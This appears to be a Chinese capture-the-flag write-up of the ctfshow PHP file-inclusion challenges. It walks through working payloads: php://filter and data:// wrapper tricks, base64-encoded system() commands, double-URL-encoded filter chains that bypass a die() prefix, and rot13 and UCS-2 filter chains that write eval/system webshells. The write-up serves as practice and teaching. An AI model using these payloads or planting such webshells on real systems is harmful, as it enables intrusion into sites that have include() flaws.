ctfshow-文件包含
以前没vps一直不敢做文件包含,一遇到远程就自闭,碰巧发现华为云有超绝性价比服务器,立买,爽打ctf,来老地方继续练手
web78
源码:1
2
3
4
5
6
7
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
filter读文件
payload: ?file=php://filter/convert.base64-encode/resource=flag.php
web79
1 |
|
不能用php,这题用data伪协议执行命令,直接
exp1(data加密执行命令):
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
exp2:
?file=data://text/plain,<?=`tac f*`;?>
exp3:
将 php 替换为 ???
, 不过这个默认是不忽略大小写的
使用 phP://input
绕过(data://
和 php://input
都可以用来执行 PHP 代码)
POST提交:<?php echo file_get_contents('flag.php'); ?>
web80
1 |
|
文件内容前插入了死亡代码<?php die();?>
, 直接写的话后面的内容不会被执行
exp1(filter伪协议)
介绍一下base64解码的特点
首先base64解码时只会识别字母和一些特殊字符如=,其他的不识别,其次base64解码是将4个字节转化为3个字节。
Base64使用到的64个字符:
A-Z 26个
a-z 26个
0-9 10个
+ 1个
/ 1个
过程
对于?file=php://filter/convert.base64-decode/resource=s1mple.php
,假如我们的file
就是这个伪协议的话,注意这里是decode
,我们会把文件里面的内容进行base64
解码,因为死亡代码中只有phpdie
会被识别出来,只有六个字节,这时候我们在·最前面添加2个字节就可以销毁死亡代码(让其解码成乱码)
这里我们选择convert.base64-decode
过滤器
其实当我们在浏览器传参时,浏览器是会先帮我们进行一次url解码的,又因为最后一行有urldecode($file)
, 我们可以通过两次url编码方式来绕过str_replace()
网上的大多在线urlencode
无法对正常字符如A-Z a-z
等进行编码,我们可以
- 用bp的解码模块
- http://web.chacuo.net/charseturlencode(选择里面的复杂模式)
- 用下面的代码注意需要把
1
2
3
4
5
6
7
8text = 'php://filter/convert.base64-decode/resource=1.php'
new_text = ''
for i in text:
new_text += hex(ord(i)).replace('0x', '%25')
print(new_text)%
替换成%25
, 才能达到二次编码的效果
1 | ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%36%64%25%36%34%25%32%65%25%37%30%25%36%38%25%37%30 |
注意到content不能只添加两个a,这时候会出现乱码,由于phpdie
是6个字节,当我们添加2个字节aa时,我们的木马前面的尖括号没了,这时候代码不会被运行(有的师傅好像加两个a也可以,大家可以都试试)
exp2(rot13过滤器)
payload:
1 | ?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30 |
传入后的1.php:<?cuc qvr('大佬别秀了);<?php eval($_POST[1]);?>
web88
BASE64规则
1 |
|
简简单单的几行代码,就一个preg_match
和一个include
,容易想到是用伪协议,首先php
被ban
了,filter
的就别想了
只可能是data
的伪协议,我们采用base64
编码,但是这里注意,base64
编码出来的结果结尾不能是+或者=号,因为被过滤了
至于解决方法,由于base64编码是三个字节转成四个字节,=
只是个补充符号罢了,去掉不会影响我们的指令运行,所以只要结尾不是+或者-号的就可以(+号不能删)
构造payload:<?php system('ls')?>
(前面system后面可以不加;
,而且加了之后是+作为结尾)?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4
后面读flag时,如果system(cat fl0g.php)
结尾是+,所以写成<?php system('cat fl0*')?>
一开始也可以直接<?php eval($_POST[1]);
进行编码getshell
web116
misc + lfi
打开网站后是一个mp4
, 下载下来分析文件
binwalk
提取失败了, 用的foremost
过滤了很多协议和编码方式,但其实都是摆设,因为用的是file_get_contents所以,直接 输入file=flag.php就可以过了。
?file=flag.php
也可以用php://filter
直接明文读取,?file=php://filter/resource=flag.php
输入payload后看不到flag,禁止了我们访问源代码,我们就view-source:
web117
1 |
|
与上一题的源码差不多,ban的东西也一样,就是不ban filter。
ban掉了base64编码,rot13编码,UTF编码,string
剩下的还有convert.iconv.
中的usc-2
和usc-4
1 | convert.iconv.<input-encoding>.<output-encoding> |
该过滤器类似于 iconv() 函数, 参考文档如下
https://www.php.net/manual/zh/function.iconv.php
https://www.php.net/manual/zh/mbstring.supported-encodings.php
这里直接用先知那篇文章里的从UCS-2LE
到UCS-2BE
的转换
本地生成一个 payload, 注意原始长度必须是偶数
1 |
|
payload1
2
3GET: ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
POST: contents=?<hp pystsme$(G_TE1[]1;)>?
扩展
https://www.anquanke.com/post/id/202510
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
参考
ctfshow Web入门[文件包含] Writeup - X1r0z Blog
CTFSHOW-文件包含 - Boogiepop Doesn’t Laugh
CTFSHOW web入门 文件包含篇